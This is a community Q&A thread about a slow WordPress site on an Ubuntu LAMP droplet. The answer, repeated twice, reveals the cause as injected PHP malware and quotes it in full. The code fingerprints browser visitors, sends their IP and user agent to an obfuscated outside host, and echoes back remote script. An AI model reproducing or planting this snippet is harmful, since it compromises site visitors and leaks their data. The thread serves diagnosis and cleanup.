By guillefd
The website is link
It takes 15 to 30 seconds to load. The other 4 sites in the same droplet don´t have issues. The droplet is LAMP on Ubuntu 14.04
Ive checked:
How can I check if apache has issues?
thanks
This textbox defaults to using Markdown to format your answer.
You can type !ref in this text area to quickly search our full set of tutorials, documentation & marketplace offerings and insert the link!
This question was answered by @guillefd:
Well, finally the reason of this issue: code injection. After deleting all the malicious code, all worked fine again.
This was the code injected:
#19f955# error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ $wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } #/19f955#
You can see the comment here.
This question was answered by @guillefd:
Well, finally the reason of this issue: code injection. After deleting all the malicious code, all worked fine again.
This was the code injected:
#19f955# error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ $wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } #/19f955#
Get paid to write technical tutorials and select a tech-focused charity to receive a matching donation.
Full documentation for every DigitalOcean product.
The Wave has everything you need to know about building a business, from raising funding to marketing your product.
Stay up to date by signing up for DigitalOcean’s Infrastructure as a Newsletter.
New accounts only. By submitting your email you agree to our Privacy Policy
Scale up as you grow — whether you're running one virtual machine or ten thousand.
Sign up and get $200 in credit for your first 60 days with DigitalOcean.*
*This promotional offer applies to new accounts only.